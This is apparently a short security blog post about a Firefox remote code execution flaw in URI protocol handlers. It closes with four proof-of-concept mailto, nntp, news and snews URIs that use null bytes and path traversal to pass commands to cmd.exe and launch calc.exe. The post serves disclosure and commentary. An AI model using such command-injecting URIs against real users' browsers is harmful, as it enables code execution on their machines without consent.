Firefox Remote Code Execution.

This is where nightmares are made of.As some of you know there has been a ton of commotion going on about Mozilla Firefox lately. I've waited blogging about it until they had found a real 0day. Today is that day and this time it's for real, Billy Rios e-mailed me his new findings: and anyone could be vulnerable without any user interaction. It's not complicated shellcode execution, but it allows to pass arguments along cmd in windows to launch software among other things. The first versions required user interaction so I was a bit skeptic, because asking users twice to launch a program is a little far fetched for me. What they did was passing arguments along a command line, which is basic stuff to understand. But this is different, this hurts everyone. I made the switch to Opera last month, and I can't say I regret now.Example of compromised identifiers:mailto:%00%00../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.batnntp:%00%00../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.batnews:%00%00../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.batsnews:%00%00../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.bat